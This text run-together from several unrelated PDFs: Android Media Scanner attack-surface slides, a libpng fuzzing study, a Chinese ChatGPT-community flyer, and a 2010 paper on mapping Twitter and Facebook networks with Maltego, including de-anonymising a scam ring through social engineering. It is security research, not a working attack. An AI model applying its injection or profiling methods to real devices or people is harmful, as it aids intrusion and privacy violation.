protected] jduck @ Twitter/IRC www.droidsec.org the end BONUS SLIDES!!! These didn't make the cut Be sure to thank me for the extra content =) Discovering the Media Scanner Looking into Browser download handling... Discovering the Media Scanner Looking at the Browser's DownloadHandler is the beginning of a journey down the rabbit hole. 37 /* 38 * Handle download requests 39 */ 40 public class DownloadHandler { ... 142 /*package */ static void onDownloadStartNoStream(Activity activity, ... 188 final DownloadManager.Request request; 189 try { 190 request = new DownloadManager.Request(uri); ... 199 // let this downloaded file be scanned by MediaScanner - 200 // so that it can show up in Gallery app, for example. 201 request.allowScanningByMediaScanner(); DownloadManager.Request.allowScanningByMediaScanner Media Scanner II But how does that work?! To see, we consult DownloadManager.java in frameworks/base/core/java/android/app: 557 public void allowScanningByMediaScanner() { 558 mScannable = true; 559 } *shrug* Let's try again with mScannable... Media Scanner III And looking into mScannable, we find: 345 public static class Request { ... 375 private boolean mScannable = false; // THANKFULLY ... 705 * @return ContentValues to be passed to DownloadProvider.insert() 706 */ 707 ContentValues toContentValues(String packageName) { ... 723 // is the file supposed to be media-scannable? 724 values.put(Downloads.Impl.COLUMN_MEDIA_SCANNED, (mScannable) ? 725 SCANNABLE_VALUE_NO); Alright, so now we are going off to DownloadProvider... Having fun yet? MediaScanner IV DownloadProvider is a Service that processes a queue of files to download. The most relevant part of the code follows: 71 public class DownloadService extends Service { ... 113 private DownloadScanner mScanner; ... 281 /** 282 * Update {@link #mDownloads} to match {@link DownloadProvider} state. 283 * Depending on current download state it may enqueue {@link DownloadThr 284 * instances, request {@link DownloadScanner} scans, update user-visible ... 293 private boolean updateLocked() { ... 328... // Kick off download task if ready 329... final boolean activeDownload = info.startDownloadIfReady(mExecutor); 330... 331... // Kick off media scan if completed 332... final boolean activeScan = info.startScanIfReady(mScanner); MediaScanner V Looking closer at DownloadScanner, we see: 41 public class DownloadScanner implements MediaScannerConnectionClient { ... 60 public void exec(MediaScannerConnection conn) { 61 conn.scanFile(path, mimeType); 62 } This sends us down another rabbit hole, to see the internals of the MediaScanner implementation. More details on that will be in the whitepaper. Suffice to say that it eventually leads to MPEG4Extractor::parseChunk. MediaScanner VI Stepping back, we see that another API that leads to scanning too... DownloadManager.addCompletedDownload (since API 12) frameworks/base/core/java/android/app/DownloadManager.java:1199: \ return addCompletedDownload(title, description, isMediaScannerScannable, \ mimeType, path, frameworks/base/core/java/android/app/DownloadManager.java-1200- \ length, showNotification, false); Let's look into calls to this API and see if they do or don't scan things. MediaScanner VII These don't scan media: packages/apps/Browser/src/com/android/browser/Controller.java:2118: \ manager.addCompletedDownload(target.getName(), packages/apps/Browser/src/com/android/browser/Controller.java-2119- \ mActivity.getTitle().toString(), false, packages/apps/Email/emailcommon/src/com/android/emailcommon/utility/AttachmentUt long id = dm.addCompletedDownload(attachment.mFileName, attachment packages/apps/Email/emailcommon/src/com/android/emailcommon/utility/AttachmentUt false /* do not use media scanner */, packages/providers/DownloadProvider/src/com/android/providers/downloads/Download 104 @Override 105 public String createDocument(String docId, String mimeType, String displ ... return Long.toString(mDm.addCompletedDownload( packages/providers/DownloadProvider/src/com/android/providers/downloads/Download file.getName(), file.getName(), false, mimeType, file. MediaScanner IV These DO use the media scanner: packages/apps/UnifiedEmail/src/com/android/mail/providers/EmlAttachmentProvider. mDownloadManager.addCompletedDownload(attachment.getName(), packages/apps/UnifiedEmail/src/com/android/mail/providers/EmlAttachmentProvider. description, true, attachment.getContentType(), After reading some documentation and searching around for more details about the MediaScanner, we see that it can also be triggered via several Intents. android.intent.action.MEDIA_MOUNTED android.intent.action.MEDIA_SCANNER_SCAN_FILE Vectors into the Media Scanner A MediaScanner Darkly! Vectors into the Media Scanner I Users of MediaScannerConnection include: The Android Compatability Test Suite (CTS) The ExternalStorage sample in ApiDemos The Roboelectric test suite The CameraBrowser's ObjectViewer CarouselViewUtilities (??) BluetoothOppService VCardService Email app AttachmentUtilities The Gallery (of course) IngestService ....and.... Vectors into the Media Scanner II Users of MediaScannerConnection also include: Nfc app HandoverTransfer CalendarProvider's CalendarDebugActivity DownloadProvider's DownloadScanner used by the Browser, via DownloadManager MediaProvider Implements Intents for scanning TestingCamera from the PDK It's important to note that some vectors don't process untrusted data. (i.e. the Camera and test suites) Vectors into the Media Scanner III Locations that invoke via the MEDIA_MOUNTED Intent include: The MediaScannerActivity sample MountService (via vold) Music app TestSongs This includes when SD cards are inserted as well as when dealing with MTP connections. Vectors into the Media Scanner IV Locations that invoke via the MEDIA_SCANNER_SCAN_FILE Intent include: Taking pictures from within the Browser (SelectFileDialog or UploadHandler) The screenrecord command "photobasics" Mms app ComposeMessageActivity Ringtones and Media via copyPart SoundRecorder app SoundRecorder UnifiedEmail app EmlAttachmentPRovider VideoEditor app ApiService Vectors into the Media Scanner V Classes that implement the MediaScannerConnectionClient interface include: The Android CTS CameraBrowser.ObjectViewer Bluetooth app BluetoothOppService Contacts app VCardService Gallary2 app DownloadProvider.DownloadScanner MediaProvider h0dg3 p0dg3 A bunch of random nixed slides Caveats to Attacking via MTP/PTP MTP/PTP requires a USB connection It's enabled by default on Nexus devices since 4.0 Can be disabled (mine is) Can't disable it on some devices (i.e. SGS5) :-( Requires an unlocked while USB is plugged in! Doesn't apply to "None" or "Swipe" screen locking Sending MMS w/o Carriers I need to broadcast WAP_PUSH_RECEIVED can't do it via "am broadcast" it doesn't support byte[] Intent extras inject a re-broadcast receiver (MmsProxy) into com.android.phone with adbi/ddi MMSC connections forced over mobile network netd adds a route temporarily created a patch to netd to avoid that Sending MMS w/o Carriers II Modify APN settings remove "mmsc" from existing APN create new APN with: LAN server for MMSC "mmsc" in APN type host your own MMSC Now you're ready to test! the real end. really.
pdf
© 2005, Independent Security Evaluators www.securityevaluators.com How Smart is Intelligent Fuzzing - or - How Stupid is Dumb Fuzzing? Charles Miller Independent Security Evaluators August 3, 2007 [email protected] © 2005, Independent Security Evaluators www.securityevaluators.com Agenda ▪ Introduction ▪ Portable Network Graphics ▪ libpng ▪ Mutation vs Generation Based Fuzzing ▪ Conclusions © 2005, Independent Security Evaluators www.securityevaluators.com Introduction ▪ “Intelligent fuzzing usually gives more results” - Ilja van Sprundel ▪ Can we quantify this statement? ▪ How important is the choice of inputs for mutation-based fuzzing? © 2005, Independent Security Evaluators www.securityevaluators.com Fuzzing ▪ Generate test cases - files, network traffic, command line arguments, environment variables, etc. ▪ Test cases should be “close” to real program inputs but should contain anomalies ▪ Test cases fed into the target application which is monitored for faults ▪ These anomalies are meant to defy programmer assumptions and find bugs © 2005, Independent Security Evaluators www.securityevaluators.com How to Get the Test Cases ▪ Mutate existing inputs (dumb fuzzing) § Take a valid input, say a file, and make changes to it § These changes can include modifying bytes, adding strings, %n’s, etc. § Easy and fast to do § Doesn’t require knowledge of the program or protocol § Dependent on the existing inputs © 2005, Independent Security Evaluators www.securityevaluators.com How to Get the Test Cases (Cont) ▪ Generate inputs from protocol description (Intelligent fuzzing) § Start from RFC or documentation § Generate inputs based on documentation § For each field in the description, add an anomaly, such as a long strings, negative numbers, %n’s etc § Takes a long time to create the inputs § Tedious work § Requires complete knowledge or program or protocol § Since all possible fields are fuzzed, should be more thorough © 2005, Independent Security Evaluators www.securityevaluators.com PNG Specification ▪ 8 byte signature followed by “chunks” ▪ Each chunk has § 4 byte length field § 4 byte type field § optional data § 4 byte CRC checksum ▪ 18 chunk types, 3 of which are mandatory ▪ Additional types are defined in extensions to the specification (I look at 21 types; the number known by libpng) © 2005, Independent Security Evaluators www.securityevaluators.com Sample PNG File © 2005, Independent Security Evaluators www.securityevaluators.com PNG’s From the Wild ▪ Collected 1631 unique PNG files from the Internet ▪ Each file was processed and the chunk types present in each was recorded ▪ Typically, very few chunk types were present Number of files Mean number of chunk types Standard deviation Maximum Minimum 1631 4.9 1.3 9 3 © 2005, Independent Security Evaluators www.securityevaluators.com Distribution of Chunks Found 0% 25% 50% 75% 100% IHDR PLTE tRNS cHRM gAMA iCCP IDAT sBIT sRGB tEXt zTXt iTXt bKGD hIST pHYs sPLT tIME oFFs pCAL sCAL IEND 100% 1% 8% 34% 10% 4% 19% 13% 3% 100% 5% 34% 19% 11% 32% 100% © 2005, Independent Security Evaluators www.securityevaluators.com Observations ▪ On average, only five of the chunk types are present in a random file! ▪ 9 of the 21 types occurred in less than 5% of files ▪ 4 of the chunk types never occurred ▪ Mutation based fuzzers will typically only test the code from these five chunks ▪ They will never fuzz the code in chunks which are not present in the original input © 2005, Independent Security Evaluators www.securityevaluators.com libpng ▪ libpng is an open source PNG decoder ▪ Used in Firefox, Opera, and Safari ▪ We want to check that each chunk type really has unique processing code ▪ We generate PNG’s containing the 3 mandatory and then one more chunk type ▪ We use gcov to record code coverage while it processes fuzzed versions of this type (approximately 1000 files per type) © 2005, Independent Security Evaluators www.securityevaluators.com Code Coverage for Each Chunk Type 0% 12.5% 25.0% 37.5% 50.0% PLTE tRNS cHRM gAMA iCCP sBIT sRGB tEXt zTXt iTXt bKGD hIST pHYs sPLT tIME oFFs pCAL sCAL 15% 25% 9% 14% 25% 27% 24% 29% 10% 33% 24% 50% 20% 21% 44% 45% 48% 13% Number of lines of code required to process each type as a percentage of the total number of lines required to process a minimal PNG file © 2005, Independent Security Evaluators www.securityevaluators.com So... ▪ Some chunk types require more code than others for processing ▪ The 4 chunk types which were not found in the wild represent 76% more code than a minimal PNG. ▪ This code will not be fuzzed using a mutation based method © 2005, Independent Security Evaluators www.securityevaluators.com Mutation vs Generation Based Fuzzing ▪ Generation based fuzzing is better... but how much better? ▪ How much does mutation based fuzzing depend on the input being mutated? ▪ We examine the case for PNG and libpng © 2005, Independent Security Evaluators www.securityevaluators.com Experiment 1 ▪ We ran a mutation based fuzzer (similar to FILEfuzz) starting from 3 PNG’s. § 5 chunk types (most likely to be used by chance) § 7 chunk types (unlikely to be used by chance) § 9 chunk types (extremely unlikely) ▪ For each file, we tested the application with 100,000 test cases. © 2005, Independent Security Evaluators www.securityevaluators.com Experiment 2 ▪ The existence of the CRC’s may completely hinder the mutation-based fuzzer. ▪ We used the same starting file and same fuzzer as experiment 1. ▪ We ensured that the CRC’s were all corrected before testing the application. ▪ Again used 100,000 test cases. © 2005, Independent Security Evaluators www.securityevaluators.com Experiment 3 ▪ Used SPIKEfile and the PNG specification to generate fuzzed PNG’s. ▪ Fuzzed all 21 chunk types as well as the length, CRC, and chunk name fields. ▪ Generated 29,511 test files. © 2005, Independent Security Evaluators www.securityevaluators.com Results 0% 75% 150% 225% 300% Mut 5 Mut 7 Mut 9 Mut CRC 5 Mut CRC 7 Mut CRC 9 Gen 289% 150% 137% 85% 139% 98% 60% Number of lines executed as a percentage of code required to fuzz a minimal PNG file © 2005, Independent Security Evaluators www.securityevaluators.com Conclusions ▪ Mutation based fuzzing is very dependent on the inputs being mutated. ▪ Choosing the right inputs can double the amount of code executed with mutation based fuzzing. ▪ Generation based fuzzing is substantially better in this case ▪ In this case, 2-5 times more code may be executed using generation based fuzzing over mutation based. ▪ All this is specific to the fuzzers used and this specific filetype. © 2005, Independent Security Evaluators www.securityevaluators.com Does This Generalize? ▪ Who knows? ▪ Related information § In “Fuzzing: Brute Force Vulnerability Discovery“, they examined 10,000 SWF files SWF Version % of Total Flash 8 < 1% Flash 7 2% Flash 6 11% Flash 5 55% Flash 4 28% Flash 1-3 3% © 2005, Independent Security Evaluators www.securityevaluators.com Questions? ▪ Please contact me at: [email protected]
pdf
普通人的GPT免费交流社群 在社群中你会获得: • 定期分享国内可直接免费使用的ChatGPT镜像网址 • 最适合你的ChatGPT、MidJourney使用教程及的高阶玩法 • AI人工智能、ChatGPT、AIGC等最新研报(超过100份)和相关资讯 • 不定期分享ChatGPT变现案例 • 和各路大神畅聊Al、不定期邀请行业大咖演讲互动交流学习 关注公众号 加入交流群
pdf
Social Networking Special Ops: Extending data visualization tools for faster pwnage Chris Sumner @TheSuggmeister www.securityg33k.com Latest Document The latest revision of this paper will be available at http://www.securityg33k.com/wp/BH10.pdf after the conference. This is revision r1.2 Disclaimer I am not writing on behalf of my employer. The information and perspectives I present are personal and do not represent those of my employer. Acknowledgements Roelof Temmingh, Andrew MacPherson, Dominic White, Adrian Mahieu, Tony Hawk, Jerome Case, @l0sthighway, @alien8. About the Author Chris “@TheSuggmeister” Sumner has been directly involved in Corporate Information Security since 1999 and has maintained a passion for security since seeing Wargames when it first came out. After a lengthy stint as a Pivot Chart creating, PowerPoint wielding, Security Manager for a business division that alone would make the Fortune100, he has turned his attention to a more geeky pursuit and is currently focused on Security in the Development Lifecycle. Outside the corporate world Chris is a data mining, analysis and visualization geek at heart and also enjoys hiding skateboards in the UK for Tony Hawks twitter hunts. 2 Social Networking Special Ops: Extending data visualization tools for faster Pwnage Chris Sumner www.securityg33k.com | [email protected] | twitter.com/TheSuggmeister Abstract This paper describes how data visualization tools can be extended to speed up the analysis of social networks. It shows how a combination of data mining, named entity recognition and visualization can quickly draw attention to interesting social relationships. Two cases studies describe these techniques in the context of social networking. The first case study outlines how an analysis of skateboard legend Tony Hawk’s twitter hunt had an unexpected benefit of uncovering top talkers, including a member of Tony’s staff.. The second case study illustrates how these techniques have been used to enumerate a 419 scam, infiltrate the scammers social network and expose deeper, more sinister links to organized crime. The focus is specifically on Twitter and Facebook, using the Twitter API's and publicly available profiles. Keywords: social networks, visualization, data mining, Maltego. 1. Introduction Social network analysis is not new, perhaps unsurprisingly, its origins can be traced back to the ancient Greeks1. However, it wasn’t until the advent of Gestalt psychology in the late 1800’s that the study of social networks started receiving formal scientific exploration, most notably from Jacob Moreno, who is widely credited as one of the founders of social network analysis2 and the creator of the sociogram3 (See Figure 1.1). Figure 1.1: Example Sociogram4 As social network analysis is not new, neither is Social network visualization. However the majority of approaches to date have tended to follow an approach of piping the output of data mining into a visualization engine such as Vizster5 and UCINET6 (see Figure 1.2). Figure 1.2: Typical approach for social network data visualization While this technique is appropriate for representing data in a visual format, it is not interactive. A suitable analogy of the limitations of this approach is creating a visual image of a directory structure, but not allowing a subsequent operation on the output (e.g. file and folder operations). Interactive data visualization bridges this gap, allowing a user to perform an action on a node, manipulate the results and perform subsequent actions in an intuitive manner. 3 2. Target Rich Environment 2.1 A perfect storm Within the last decade, three key events have converged to create a perfect storm or a “target rich environment”. • Significant growth of data • Increased use of social networking • Increase online promiscuity. 2.1.1 Significant Growth of Data According to figures from Cisco7, monthly internet traffic has grown from 5 exabytes per month in 2007 to 21 exabytes per month in 2010 and is expected to reach 56 exabytes per month in 2013. A 2007 study by the IDC8 offers a slightly different perspective looking at the growth of online content (“information that is either created or captured in digital form and then replicated”), predicting an increase from 161 exabytes in 2006 to 988 exabytes in 2010. What is clear is that there is an enormous and growing amount of data available and a significant percentage of this data is personal information, such as photos and videos. Figure 2.1: Internet Users in the World, Growth 1995 - 2010. Source: http://www.internetworldstats.com/ 2.1.2 Increased use of Social Networking If we discount email, in 2003, social network usage was relatively obscure. However, in 2010 social network usage is prevalent and isn’t limited to stereotypical “geeks”. • Facebook - 350 million users9 • Twitter - 100 million users10 • Myspace - 113 million users11 • Bebo - 12.6 million users12 • Linkedin - 70 million users13 • Friendster - 115 million users14 2.1.3 Increased online promiscuity “Online promiscuity”, refers to the practice of people putting more and more of their personal information online. Perhaps the most noteworthy result from available research is a privacy paradox. Social network users appear to be stating that they take privacy seriously15 , yet these concerns are not reflected in their online profile settings16. So they are saying one thing and doing another. From the 2005 paper “Information Revelation and Privacy in Online Social Networks (The Facebook case): • 89% of users use their real names • 61% of user use an identifiable image of themselves Note: Whilst dated, these findings were corroborated in the September 2007 paper “Student Awareness of the Privacy Implications When Using Facebook”17 and there is little to suggest anything has changed radically in the last 3 years. It can be argued that this state has been reached through a pervasive “I’ve got nothing to hide” mentality. As Daniel J Solove states “In many instances, privacy is threatened not by singular egregious acts, but by a slow series of relatively minor acts”18 . i.e. A sequence of events led to the implicit trust that many users display in sharing personal information on social networks. For this generation at least, it is likely to be too late to turn back the clock with regards to privacy. 2.2 Why does this perfect storm represent a problem? Data alone may or may not be compelling, but when aggregated it can expose previously “hidden” information. Perhaps the best example of this was the 2006 incident when AOL release a text file containing search keywords of over 657,000 users. The New York times 19 selected a particular user (AOL user “4417749”) and extracted all associated search terms, leading them to a Ms. Thelma Arnold from Lilburn, Georgia, USA. Search mirrors 20still exist for the curious. 4 Figure 2.2 Social Network Site Unique Visitors June 2009 to June 2010. source: http://compete.com/ 3. Opportunity Clearly there is a rich vein of information in all this data, but for casual observers, it’s simply lost in a sea of noise. The following subsections describe how a combination of Interactive Data Visualization and Named Entity Recognition (NER) can greatly aid the analysis of data sets. 3.1 Visual Data Analysis Visual Data Analysis is the process of graphically representing data (potentially huge amounts of data) to highlight specific information and facilitate quicker decision making. “The basic idea here, is that you'll notice things visually that you wouldn't be able to even see otherwise.” Jim Andrus21 3.1.1 Visual analysis, you’ll either love it or you’ll hate it In terms of how people prefer to receive information, Fleming22 describes types of learning modes (often referred to as V.A.R.K.). • Visual Learners – a preference for visual representation. • Auditory – speaking/listening • Reading/Writing • Kinesthetic – touch/feel It is important to note that people are not the same, which often creates problems. Perhaps you lean to visual but need to present to an auditory audience. Conversely, Auditory learners can become exasperated when there visual counterparts seem unable to retain spoken instructions, such as directions. Visual learners account for roughly 60% - 65%23 of the population so clearly data visualization has an enormous target market. 3.1.2 Current approaches to data analysis and visualization Approaches to data analysis and visualization broadly follow the approach of acquiring and cleaning a data set, performing analysis and displaying the results. Ben Fry identifies 7 steps in data visualization in his book “Visualizing Data”24. 1. Acquire 2. Parse 3. Filter 4. Mine 5. Represent 6. Refine 7. Interact It is noted that the sequence and selection of these steps can vary dependent on the application/problem the researcher is trying to solve. 5 3.2 Named Entity Recognition Named entity recognition (NER), also referred to as entity identification/extraction25 is the process of parsing data to extract and classify information. From wikipedia (as of 17-June-2010) “Most research on NER systems has been structured as taking an unannotated block of text, such as this one: Jim bought 300 shares of Acme Corp. in 2006. And producing an annotated block of text, such as this one: <ENAMEX TYPE="PERSON">Jim</ ENAMEX> bought <NUMEX TYPE="QUANTITY">300</NUMEX> shares of <ENAMEX TYPE="ORGANIZATION">Acme Corp.</ENAMEX> in <TIMEX TYPE="DATE">2006</TIMEX>”. 3.3 Interactive Visual Data Analysis Interactive Visual Data Analysis combines data visualization with the ability to perform an operation on the data. “An interaction technique is the fusion of input and output, consisting of all software and hardware elements, that provides a way for the user to accomplish a task”26. Making the representation of data interactive enables a researcher to quickly explore interesting nodes and relationships within the graphical environment, instantly “seeing” results. 4. Tools 4.1 Table of Tools The following table presents a non-exhaustive list of tools, highlighting which perform visualization, interactive visualization or Named Entity Recognition. Visualization Interactive Visualization NER Processing Y Y N Graphviz Y Y N OpenCalais N N Y Maltego Y Y Y touchgraph Y Y N mindraider Y Y N Vizster Y N N Table 1.1 Non-exhaustive comparison of data visualization tools 6 4.2 Maltego Maltego allows the user to combine a variety of data mining tasks, including ‘Named Entity Recognition’ in an interactive visual context. “Maltego is an open source intelligence and forensics application. It will offer you timous mining and gathering of information as well as the representation of this information in a easy to understand format.”27 Arguably its most compelling feature the the visual social network analyst is it’s ‘Local Transforms’ feature: “Local Transforms are just that, transforms that run locally (the same PC that Maltego is running on). These are applications that when called will produce output which results in entities within your graph. They can be coded in practically anything as long as they stick to the specification.”28 This gives the user the ability to mine and graph virtually any data source. This tool is therefore readily extendable to perform social network analysis through the API’s often present with social networks such as Twitter and Facebook. 7 5. Case Study # 1 5.1 Background In 2009 and 2010, US skateboarder and sport hall of famer, Tony Hawk, used Twitter to run a world wide treasure hunt (twitter hunt). Tony enlisted some of his twitter followers (tweeps) to hide packages containing skateboards and other goodies in cities and towns around the world. He then tweeted clues, which his remaining tweeps used to hunt down the packages 5.2 Objective Create a Google map of the locations that #THTH (Tony Hawk Twitter Hunt) packages were hidden in, who hid them, who found them and any pictures associated with the hide and the find 5.2.1 Hypothesis People who hid packages would tweet the finders of the packages with a note of congratulation. 5.2.2 Null Hypothesis People who hid packages would NOT tweet the finders of the packages with a note of congratulation. 5.2.3 Approach Associate the finders of skateboards with the hiders of the skateboard and determine geographical location of the hider and finder. 5.3 Starting Assumptions: 1. People who hid packages were all ‘followers’ of @HidingIt. 2. Tony tweeted each find and each of those tweets contained the word ‘Found’ and typically where it was located. 3. Finally, everyone was encouraged to use the twitter hashtag #THTH when communicating on the topic. 5.4 Deriving a Starting Node Note: In v2.x of the product, we have to derive a starting twitter node (AffiliationTwitter). i.e. We can’t just plonk @HidingIt onto our map and have Maltego figure out that it’s an AffiliationTwitter. I achieved this by following these steps 1. Drag the Phrase icon from the left hand menu and dropping it in your main map window 2. Double click where you see the text ‘Phrase’ 3. Start typing the phrase you wish to search for, in this case “@HidingIt”. Figure 5.1: Putting phrase on the map 8 4. Next, find all the tweets which contain the text “@hidingIt” (Figure 5.2). We do this because we’ll later be able to derive a twitter entity or “AffiliationTwitter” from a tweet (Figure 5.3) Figure 5.2 Searching for tweets containing “@HidingIt” Figure 5.3 Searching for tweets containing “@HidingIt” 9 5. Now we can generate an AffiliationTwitter (Figure 5.5) by running a “convert to Affiliation Twitter” transform. Figure 5.4 Converting a tweet to the Twitter user who sent it. Figure 5.5 An “Affliation Twitter” 10 5.5 Data Acquisition: Maltego has built in Twitter transforms, but as of version 2.02 a number of them suffer from problems caused by known limitations of the Twitter Search API. To acquire data from Twitter, I therefore constructed local transforms to use the Twitter REST API’s. 5.5.1 Pseudo code • Get followers of @hidingit • Get all tweets written by USER within between <Start Date> and <enddate> & extract the @username 6. Get followers of @hidingit Figure 5.6 Getting the followers of @HidingIt Figure 5.7 Followers of @HidingIt 11 7. Select @Tonyhawk (since we want to grab his tweets) Figure 5.8 Isolating/Selecting @Tonyhawk Figure 5.9 Getting tweets written by @Tonyhawk 12 8. Get all tweets written by @tony hawk and Extract the @username Figure 5.10 People referenced in @Tonyhawks tweets Figure 5.11 Emerging links between people Tony mentioned in tweets and follower of @HidingIt 13 Figure 5.12 More links between people Tony mentioned in tweets and follower of @HidingIt 9. Repeat the step to generate a graph of people Tony mentioned in his tweets AND all the people they referenced in their tweets Figure 5.13 Resultant graph of people Tony mentioned in his tweets AND all the people they referenced in their tweets. 14 5.6 Visual Graph Exploration Figure 5.14 Centrality view of resultant graph of people Tony mentioned in his tweets AND all the people they referenced in their tweets. Figure 5.15 Edge-weighted resultant graph of people Tony mentioned in his tweets AND all the people they referenced in their tweets. 15 10.Prune the graph, removing nodes (people) who are not interconnected. Figure 5.16 Pruned version of tree, showing connections between people referenced in Tony’s tweets and friends of @hidingit Figure 5.17 Edge Weighted version of pruned tree, showing connections between people referenced in Tony’s tweets and friends of @hidingit 16 5.5 What does this tell us? So what does this actually tell me. Well, it tells me that even if I hadn’t been following the #THTH event, I can see that the following were pretty active talkers/talkee’s about #THTH in comparison to others • @tonyhawk (obviously), • @SweetJerome (Tony’s helper and all-round generally awesome dude), • @Steven_Gill (read his story here) and • @TheSuggmeister (yours truly) If you (with no knowledge of the event) had determined this, you’d probably have drilled down to my blog and read the articles that myself and @Steven_Gill wrote. You’d have also been able to follow the links on my blog and read other hider/finder stories. You’d also have figured out that @SweetJerome pretty much ran the event for @tonyhawk. Just with these 4 pieces of information, you’d probably know everything about the #THTH event you could ever possibly want to know. 17 6. Case Study # 2 This case study varies from the previous as it focuses on Facebook rather than Twitter. Generally speaking, “tweets” are public, where as many Facebook users limit access to interesting details to “friends”. Therefore, it is highly likely that the first task must be to win the confidence of the people you wish to enumerate. 6.1 Special Note - Facebook Terms of Services At the date of publishing this paper (2nd August 2010), Facebook Terms of Services were clear that collecting users data first requires their consent. You are strongly advised to familiarize yourself with the terms of service as Facebook take breached of Terms Of Service very seriously. 6.2 Background In 2010 a series of scams associated with one email address and a valid postal address in Europe attracted the attention of a local police force. Together with the local police force, we used visual data analysis as part of a tool kit in gathering intelligence based on publicly available information. 6.3 Information we started with • Email address of scammer (Bob) • IP Addresses of the scammer • Name & address of the recipient of the stolen goods (Alice) 6.4 Determine location of scammer A whois lookup put the addresses in Lagos, Nigeria. (41.220.....) 6.5 For both recipient & scammer determine if the person exists on social network sites. Facebook transforms, such as those written as a proof of concept by Dominic White, would quickly be able to generate 3 possible results for the recipient of the goods. Figure 6.1 Example Person to Facebook transform 18 Figure 6.2 Facebook to Friends transform (note, only showing first 12 results) 6.6 Examine location of people Another local transform to extract profile location could quickly narrow this search down to one. Alice, based in “Newcastle” has a significant number of Facebook friends in Nigeria. 19 Figure 6.3 - Example Facebook to Location local transform 6.7 Drill down in details It’s possible to narrow the result set down further based on information within wall-posts and photo’s for each Nigerian “friend”. We performed this outside of Maltego. This stage alone exposed some fascinating results. Photo’s which seemed to feature hoards of stolen goods and comments supporting these assumptions. 6.8 But is one of these guys the scammer? This was difficult to ascertain as the scammers email address wasn’t associated with his Facebook profile. A variety of techniques could be employed to expose any links, but the most expedient is to socially engineer the scammer to post a Facebook update. 20 6.9 Result Within a short amount of time it was possible to link the scammer to the recipient of the goods and expose social relationships. From here it was possible to broaden the search identifying more and more people actively involved in scams. Figure 6.4 Resultant crime network and friends. In this graph, the bigger dots are more “interesting” 21 7. Conclusion Data can certainly be analyzed non-visually, but visual data analysis can be effectively employed to point a researcher in the right direction. Visual data analysis should not be viewed as a substitute for other methods of data mining and analysis, but as a complimentary practice. Access to social networks data through API’s and extendable visualization tools such as Maltego means that it is already possible for organizations and individuals to generate and analyze complex graphs with relative ease and at relatively low cost. With little knowledge of the data set, a researcher can quickly identify key actors in a social network graph. With more knowledge of a data set, a researcher can use interactive data visualization and other complementary techniques to uncover obscure, yet significant relationships. As interfaces to data become more ubiquitous, individuals and organizations, both good and bad will be able to mine social data with ever greater ease. 8. Future Development This paper has aimed to present possibilities. Individuals, organizations and agencies wishing to further explore data visualization in the context of social networks should give thought to; • Collaboration with social network sites to ensure operation within an agreed Terms of Service. • Creation of a full set of social network transforms. • Creation of transforms to explore photo sharing site. • Linking to private data sources (e.g. corporate databases, police records). 22 References 23 1 Scott, John P. 2000. Social Network Analysis: A Handbook. London: Sage Publications Ltd, 2 Scott, John P. 2000. Social Network Analysis: A Handbook. London: Sage Publications Ltd, 3 http://www.wikipedia.org/wiki/Sociogram 4 http://www.wikipedia.org/wiki/Sociogram 5 http://hci.stanford.edu/jheer/projects/vizster/ 6 http://www.analytictech.com/ucinet/help.htm 7 http://www.pcmag.com/ article2/0,2817,2361820,00.asp 8 http://www.emc.com/collateral/analyst-reports/ diverse-exploding-digital-universe.pdf 9 http://www.clickymedia.co.uk/2009/12/facebook- reaches-350-million-users/ 10 http://jasonvanorden.com/twitter-opportunity 11 http://www.myspace.com/pressroom?url=/fact +sheet/ 12 http://paidcontent.co.uk/article/419-bebo-sold-to- criterion-armstrongs-staff-memo/ 13 http://pres.linkedin.com/about 14 http://www.friendster.com/info/index.php 15 How different are young adults from older adults when it comes to information privacy (April 14 2010) 16 Gross, R., Acquisti, A. “Information Revelation and Privacy in Online Social Networks (The Facebook Case). Carnegie Mellon University, 2005. 17 Govani, D., Pashley, H. “Student Awareness of the Privacy Implications When Using Facebook”. Carnegie Mellon University, September 2007. 18 Solove, D. ““I’ve Got Nothing to Hide” and Other Privacy Misunderstandings of Privacy”, George Washington University, 2007 19 http://query.nytimes.com/gst/fullpage.html? res=9E0CE3DD1F3FF93AA3575BC0A9609C8B63 20 http://gregsadetsky.com/aol-data/ 21 http://www.readwriteweb.com/archives/ news_patterns_finding_hidden_threads_in_everyday _n.php? utm_source=feedburner&utm_medium=feed&utm_c ampaign=Feed%3A+readwriteweb+ %28ReadWriteWeb%29 22 Fleming, N. D; (1995), I’m different; not dumb Modes of presentation (V.A.R.K.) in the tertiary classroom, in Zelmer, A., (ed.) Research and Development in Higher Education, Proceedings of the 1995 Annual Conference of the High Education and Research Development Society of Australasia (HERDSA), HERDSA, Volume 18, pp 308 - 313. 23 http://www.wikipedia.org/wiki/Visual_thinking 24 Fry, Ben. Visualizing Data. Sebastopol, CA: O’Reilly Media, 2008. 25 http://en.wikipedia.org/wiki/ Named_entity_recognition 26 Tucker, A, B; (2004), Computer Science Handbook, Second Edtion. Chapman & Hall/CRC, pp20 - 22. 27 http://www.paterva.com/web5/ 28 http://www.paterva.com/web5/documentation/ localtransforms.php www.securityg33k.com | [email protected] | twitter.com/TheSuggmeister
pdf
